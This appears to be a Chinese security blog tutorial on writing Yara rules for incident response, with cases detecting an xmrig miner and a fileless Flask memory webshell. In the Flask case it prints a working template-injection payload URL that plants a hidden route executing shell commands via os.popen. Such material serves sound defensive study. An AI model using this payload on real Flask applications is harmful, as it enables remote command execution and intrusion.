写点什么

应急响应 -Yara 规则木马检测

作者:H
  • 2022 年 1 月 05 日
  • 本文字数:1116 字

    阅读完需:约 4 分钟

应急响应-Yara规则木马检测

Yara 规则介绍

Yara 是一个基于规则的恶意样本分析工具,可以帮助安全研究人员和蓝队分析恶意软件,并且可以在应急取证过程中自定义检测规则来检测恶意软件,Yara 支持有木马文件落盘和无木马文件落盘(内存马)的检测,由一组字符串和一个确定的布尔表达式组成。

下载安装

1. Windows 环境下可直接下载编译好的 exe 程序进行检测分析,当前使用的版本为 4.1.3。



程序运行截图

2.Yara 检测程序运行中使用的参数。



运行参数

下载地址:https://github.com/VirusTotal/yara

需要更多学习资料与工具可以私信回复“资料”【点击查看】

Yara 规则语法

1.Yara 规则内容支持字符串、正则表达式、十六进制进行匹配。

字符串:定义一个变量 $a = “字符串内容”

正则表达式:定义一个变量 $a = /正则表达式内容/

十六进制:定义一个变量 $a = {十六进制内容}

2.Yara 规则条件

and:与   or:或   not:非

all of them:所有条件匹配即告警

any of them:有一个条件匹配即告警

$a and $b and $c:abc 同时匹配即告警

($a and $b) or $c:匹配 a 和 b 或 c 即告警

3.Yara 规则常用修饰符

nocase:不区分大小写

base64:base64 字符串

xor:异或字符串

wide:宽字符

4.下面是一条 Yara 规则的 demo。



yara 规则 demo

恶意程序检测案例

1、挖矿程序检测

1、下载 xmrig 挖矿程序,https://github.com/xmrig/xmrig/

2、编写 xmrig 挖矿程序检测规则,利用 010 Editor、die 等 PE 文件编辑工具进行特征的提取。此规则使用 PE 文件的文件头 4D 5A、挖矿程序专用协议 stratum、xmrig 挖矿的程序的名称、矿池域名 xx.pool.xx 等特征进行关联匹配。



xmrig 挖矿程序检测规则

3、xmrig 挖矿程序扫描,利用-r 参数对目录下的文件进行递归扫描,可发现利用检测规则扫描出 xmrig.exe 挖矿程序。



挖矿程序扫描

2、 无文件检测-python flask 内存马

1.命令行运行 python flask 内存马脚本。



内存马脚本

2.浏览器访问执行 payload,完成内存马的注入。

http://172.16.120.115:5000/test?param={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell1', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.values.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

3.查看命令执行的效果。



whoami 命令执行

4.利用 procdump.exe  dump 内存。



procdump dump 内存命令

5.检测内存中的明文特征,如 payload 中的_request_ctx_stack、exec|eval、url_for.__globals__、add_url_rule、__import__(‘os’).popen 等函数在内存中全部明文显示,利用此特征编写检测规则。



python flask 内存马检测规则

6.利用 python flask 内存马检测规则扫描出 python.exe 进程中被注入内存马。



python flask 内存马检测

用户头像

H

关注

还未添加个人签名 2021.08.04 加入

还未添加个人简介

评论

发布
暂无评论
应急响应-Yara规则木马检测